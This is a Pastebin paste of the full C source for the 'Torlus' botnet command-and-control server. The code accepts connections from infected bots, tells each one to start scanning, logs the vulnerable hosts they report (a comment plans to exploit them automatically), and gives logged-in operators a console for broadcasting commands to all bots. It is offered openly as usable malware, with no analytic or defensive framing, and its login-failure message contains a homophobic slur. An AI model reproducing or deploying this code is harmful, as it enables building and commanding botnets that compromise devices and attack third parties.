AvengeVPS

Torlus Botnet Serverside

Mar 7th, 2018
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.34 KB | None | 0 0
  1. //Modified by ~B1NARY~
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16.  
  17. ////////////////////////////////////
  18. #define MY_MGM_PORT 53
  19. #define MAXFDS 1000000
  20. ////////////////////////////////////
  21.  
  22. struct account {
  23. char id[20];
  24. char password[20];
  25. };
  26. static struct account accounts[10];
  27.  
  28. struct clientdata_t {
  29. uint32_t ip;
  30. char build[7];
  31. char connected;
  32. } clients[MAXFDS];
  33.  
  34. struct telnetdata_t {
  35. int connected;
  36. } managements[MAXFDS];
  37.  
  38.  
  39. ////////////////////////////////////
  40. static volatile FILE *fileFD;
  41. static volatile int epollFD = 0;
  42. static volatile int listenFD = 0;
  43. static volatile int managesConnected = 0;
  44. ////////////////////////////////////
  45.  
  46. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  47. {
  48. int total = 0, got = 1;
  49. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  50. return got;
  51. }
  52. void trim(char *str) // Remove whitespace from a string and properly null-terminate it.
  53. {
  54. int i;
  55. int begin = 0;
  56. int end = strlen(str) - 1;
  57. while (isspace(str[begin])) begin++;
  58. while ((end >= begin) && isspace(str[end])) end--;
  59. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  60. str[i - begin] = '\0';
  61. }
  62.  
  63.  
  64. static int make_socket_non_blocking (int sfd)
  65. { // man fcntl
  66. int flags, s;
  67. flags = fcntl (sfd, F_GETFL, 0);
  68. if (flags == -1)
  69. {
  70. perror ("fcntl");
  71. return -1;
  72. }
  73. flags |= O_NONBLOCK;
  74. s = fcntl (sfd, F_SETFL, flags);
  75. if (s == -1)
  76. {
  77. perror ("fcntl");
  78. return -1;
  79. }
  80. return 0;
  81. }
  82.  
  83.  
  84. static int create_and_bind (char *port)
  85. {
  86. struct addrinfo hints;
  87. struct addrinfo *result, *rp;
  88. int s, sfd;
  89. memset (&hints, 0, sizeof (struct addrinfo));
  90. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  91. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  92. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  93. s = getaddrinfo (NULL, port, &hints, &result);
  94. if (s != 0)
  95. {
  96. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  97. return -1;
  98. }
  99. for (rp = result; rp != NULL; rp = rp->ai_next)
  100. {
  101. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  102. if (sfd == -1) continue;
  103. int yes = 1;
  104. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  105. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  106. if (s == 0)
  107. {
  108. break;
  109. }
  110. close (sfd);
  111. }
  112. if (rp == NULL)
  113. {
  114. fprintf (stderr, "Could not bind\n");
  115. return -1;
  116. }
  117. freeaddrinfo (result);
  118. return sfd;
  119. }
  120. void broadcast(char *msg, int us) // sends message to all bots, notifies the management clients of this happening
  121. {
  122. int sendMGM = 1;
  123. if(strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management. Why? Because a human is going to ignore it.
  124. char *wot = malloc(strlen(msg) + 10);
  125. memset(wot, 0, strlen(msg) + 10);
  126. strcpy(wot, msg);
  127. trim(wot);
  128. time_t rawtime;
  129. struct tm * timeinfo;
  130. time(&rawtime);
  131. timeinfo = localtime(&rawtime);
  132. char *timestamp = asctime(timeinfo);
  133. trim(timestamp);
  134. int i;
  135. for(i = 0; i < MAXFDS; i++)
  136. {
  137. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  138. if(sendMGM && managements[i].connected)
  139.  
  140. {
  141.  
  142. send(i, "\x1b[34m", 6, MSG_NOSIGNAL);
  143.  
  144. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  145.  
  146. send(i, ":\x1b[37m ", 8, MSG_NOSIGNAL);
  147.  
  148. } //just a prompt with a timestamp.
  149. printf("sent to fd: %d\n", i); // debug info, possibly also intrusion detection. Tells you when a management client connected on command line.
  150. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  151. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[36m> \x1b[37m", 15, MSG_NOSIGNAL); // send a cool looking prompt to a manager/admin
  152. else send(i, "\n", 1, MSG_NOSIGNAL);
  153. }
  154. free(wot);
  155. }
  156.  
  157. void *epollEventLoop(void *useless)
  158. {
  159. struct epoll_event event;
  160. struct epoll_event *events;
  161. int s;
  162. events = calloc (MAXFDS, sizeof event);
  163. while (1)
  164. {
  165. int n, i;
  166. n = epoll_wait (epollFD, events, MAXFDS, -1);
  167. for (i = 0; i < n; i++)
  168. {
  169. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  170. {
  171. clients[events[i].data.fd].connected = 0;
  172. close(events[i].data.fd);
  173. continue;
  174. }
  175. else if (listenFD == events[i].data.fd)
  176. {
  177. while (1)
  178. {
  179. struct sockaddr in_addr;
  180. socklen_t in_len;
  181. int infd, ipIndex;
  182.  
  183. in_len = sizeof in_addr;
  184. infd = accept (listenFD, &in_addr, &in_len); // accept a connection from a bot.
  185. if (infd == -1)
  186. {
  187. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  188. else
  189. {
  190. perror ("accept");
  191. break;
  192. }
  193. }
  194.  
  195. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  196.  
  197. int dup = 0;
  198. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) // check for duplicate clients by seeing if any have the same IP as the one connecting
  199. {
  200. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  201.  
  202. if(clients[ipIndex].ip == clients[infd].ip)
  203. {
  204. dup = 1;
  205. break;
  206. }
  207. }
  208.  
  209. if(dup)
  210. {
  211. printf("dup client\n"); // warns the operator on command line
  212. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } // orders all the bots to immediately kill themselves if we see a duplicate client! MAXIMUM PARANOIA
  213. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; } // same thing as above.
  214. close(infd);
  215. continue;
  216. }
  217.  
  218. s = make_socket_non_blocking (infd);
  219. if (s == -1) { close(infd); break; }
  220.  
  221. event.data.fd = infd;
  222. event.events = EPOLLIN | EPOLLET;
  223. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  224. if (s == -1)
  225. {
  226. perror ("epoll_ctl");
  227. close(infd);
  228. break;
  229. }
  230.  
  231. clients[infd].connected = 1;
  232. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  233. }
  234. continue;
  235. }
  236. else
  237. {
  238. int thefd = events[i].data.fd;
  239. struct clientdata_t *client = &(clients[thefd]);
  240. int done = 0;
  241. client->connected = 1;
  242. while (1)
  243. {
  244. ssize_t count;
  245. char buf[2048];
  246. memset(buf, 0, sizeof buf);
  247.  
  248. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  249. {
  250. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  251. trim(buf);
  252. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  253. {
  254. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  255. continue;
  256. }
  257. if(strstr(buf, "BUILD ") == buf)
  258. {
  259. char *build = strstr(buf, "BUILD ") + 6;
  260. if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  261. memset(client->build, 0, 7);
  262. strcpy(client->build, build);
  263. continue;
  264. }
  265. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  266. {
  267. char *line = strstr(buf, "REPORT ") + 7;
  268. fprintf(fileFD, "%s\n", line); // let's write it out to disk without checking what it is!
  269. fflush(fileFD);
  270. //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  271. continue;
  272. }
  273. if(strcmp(buf, "PONG") == 0)
  274. {
  275. //should really add some checking or something but meh
  276. continue;
  277. }
  278.  
  279. printf("buf: \"%s\"\n", buf);
  280. }
  281.  
  282. if (count == -1)
  283. {
  284. if (errno != EAGAIN)
  285. {
  286. done = 1;
  287. }
  288. break;
  289. }
  290. else if (count == 0)
  291. {
  292. done = 1;
  293. break;
  294. }
  295. }
  296.  
  297. if (done)
  298. {
  299. client->connected = 0;
  300. close(thefd);
  301. }
  302. }
  303. }
  304. }
  305. }
  306.  
  307. unsigned int clientsConnected() // counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not
  308. {
  309. int i = 0, total = 0;
  310. for(i = 0; i < MAXFDS; i++)
  311. {
  312. if(!clients[i].connected) continue;
  313. total++;
  314. }
  315.  
  316. return total;
  317. }
  318.  
  319. void *titleWriter(void *sock) // just an informational banner
  320. {
  321. int thefd = (int)sock;
  322. char string[2048];
  323. while(1)
  324. {
  325. memset(string, 0, 2048);
  326. sprintf(string, "%c]0;Bots connected: %d | Users connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  327. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  328.  
  329. sleep(2);
  330. }
  331. }
  332.  
  333. int Search_in_File(char *str)
  334. {
  335. FILE *fp;
  336. int line_num = 0;
  337. int find_result = 0, find_line=0;
  338. char temp[512];
  339.  
  340. if((fp = fopen("login.txt", "r")) == NULL){
  341. return(-1);
  342. }
  343. while(fgets(temp, 512, fp) != NULL){
  344. if((strstr(temp, str)) != NULL){
  345. find_result++;
  346. find_line = line_num;
  347. }
  348. line_num++;
  349. }
  350. if(fp)
  351. fclose(fp);
  352.  
  353. if(find_result == 0)return 0;
  354.  
  355. return find_line;
  356. }
  357.  
  358.  
  359. void *telnetWorker(void *sock, void *telnetListener)
  360. {
  361. int thefd = (int)sock;
  362. int find_line;
  363. managesConnected++;
  364. pthread_t title;
  365. char counter[2048];
  366. memset(counter, 0, 2048);
  367. char buf[2048];
  368. char* nickstring;
  369. char* username;
  370. char* password;
  371. memset(buf, 0, sizeof buf);
  372. char botnet[2048];
  373. memset(botnet, 0, 2048);
  374.  
  375. //GET ACCOUNTS FROM FILE AND GIVE THEM MOTHERFUCKING IDZ
  376. FILE *fp;
  377. int i=0;
  378. int c;
  379. fp=fopen("login.txt", "r");
  380. while(!feof(fp))
  381. {
  382. c=fgetc(fp);
  383. ++i;
  384. }
  385. int j=0;
  386. rewind(fp);
  387. while(j!=i-1)
  388. {
  389. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  390. ++j;
  391. }
  392. //END FILE LOADING
  393.  
  394. if(send(thefd, "\x1b[32mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  395. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  396. trim(buf);
  397. nickstring = ("%s", buf);
  398. find_line = Search_in_File(nickstring);
  399. if(strcmp(nickstring, accounts[find_line].id) == 0){
  400. if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  401. if(send(thefd, "\x1b[32m* VALID USERNAME *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  402. if(send(thefd, "\x1b[32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  403. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  404. trim(buf);
  405. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  406. memset(buf, 0, 2048);
  407. goto fak;
  408. }
  409. failed:
  410. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  411. if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  412. if(send(thefd, "\x1b[31m* INVALID CREDENTIALS *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  413. if(send(thefd, "\x1b[31m* FUCK OFF FAGGOT, LOGGED *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  414. if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  415. sleep(5);
  416. goto end;
  417. fak:
  418. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  419. if(send(thefd, "\x1b[1m\x1b[36m*****************************************\r\n", 54, MSG_NOSIGNAL) == -1) goto end;
  420. if(send(thefd, "* \x1b[37mWELCOME TO THE TORLUS\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  421. if(send(thefd, "* \x1b[37mIn Secrecy We Trust\x1b[36m *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  422. if(send(thefd, "*****************************************\r\n\r\n\x1b[36m> \x1b[37m", 59, MSG_NOSIGNAL) == -1) goto end;
  423. pthread_create(&title, NULL, &titleWriter, sock);
  424. managements[thefd].connected = 1;
  425.  
  426. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  427.  
  428. if(send(thefd, "\r\n\[r00t@torlus ~]# ", 17, MSG_NOSIGNAL) == -1) goto end;
  429. while(fdgets(buf, sizeof buf, thefd) > 0)
  430. {
  431. if(strstr(buf, "!* BOTS"))
  432. {
  433. sprintf(botnet, "Bots connected: %d | Operators: %d\r\n", clientsConnected(), managesConnected);
  434. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  435. }
  436. trim(buf);
  437. if(send(thefd, "[r00t@torlus ~]# ", 15, MSG_NOSIGNAL) == -1) goto end;
  438. if(strlen(buf) == 0) continue;
  439. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  440. FILE *logFile;
  441. logFile = fopen("server.log", "a");
  442. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  443. fclose(logFile);
  444. broadcast(buf, thefd);
  445. memset(buf, 0, 2048);
  446. }
  447.  
  448. end: // cleanup dead socket
  449. managements[thefd].connected = 0;
  450. close(thefd);
  451. managesConnected--;
  452. }
  453.  
  454. void *telnetListener(void *useless)
  455. {
  456. int sockfd, newsockfd;
  457. socklen_t clilen;
  458. struct sockaddr_in serv_addr, cli_addr;
  459. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  460. if (sockfd < 0) perror("ERROR opening socket");
  461. bzero((char *) &serv_addr, sizeof(serv_addr));
  462. serv_addr.sin_family = AF_INET;
  463. serv_addr.sin_addr.s_addr = INADDR_ANY;
  464. serv_addr.sin_port = htons(MY_MGM_PORT);
  465. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  466. listen(sockfd,5);
  467. clilen = sizeof(cli_addr);
  468. while(1)
  469. {
  470. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  471. if (newsockfd < 0) perror("ERROR on accept");
  472. pthread_t thread;
  473. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  474. }
  475. }
  476.  
  477. int main (int argc, char *argv[], void *sock)
  478. {
  479. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  480.  
  481. int s, threads;
  482. struct epoll_event event;
  483.  
  484. if (argc != 3)
  485. {
  486. fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  487. exit (EXIT_FAILURE);
  488. }
  489. fileFD = fopen("output.txt", "a+"); // TOCTOU vuln if we have access to CnC
  490. threads = atoi(argv[2]);
  491.  
  492. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  493. if (listenFD == -1) abort ();
  494.  
  495. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  496. if (s == -1) abort ();
  497.  
  498.  
  499. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  500. if (s == -1)
  501. {
  502. perror ("listen");
  503. abort ();
  504. }
  505.  
  506. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  507. if (epollFD == -1)
  508. {
  509. perror ("epoll_create");
  510. abort ();
  511. }
  512.  
  513. event.data.fd = listenFD;
  514. event.events = EPOLLIN | EPOLLET;
  515. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  516. if (s == -1)
  517. {
  518. perror ("epoll_ctl");
  519. abort ();
  520. }
  521.  
  522. pthread_t thread[threads + 2];
  523. while(threads--)
  524. {
  525. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  526. }
  527.  
  528. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  529.  
  530. while(1)
  531. {
  532. broadcast("PING", -1); // ping bots every 60 sec on the main thread
  533.  
  534. sleep(60);
  535. }
  536.  
  537. close (listenFD);
  538.  
  539. return EXIT_SUCCESS;
  540. }
Add Comment
Please, Sign In to add comment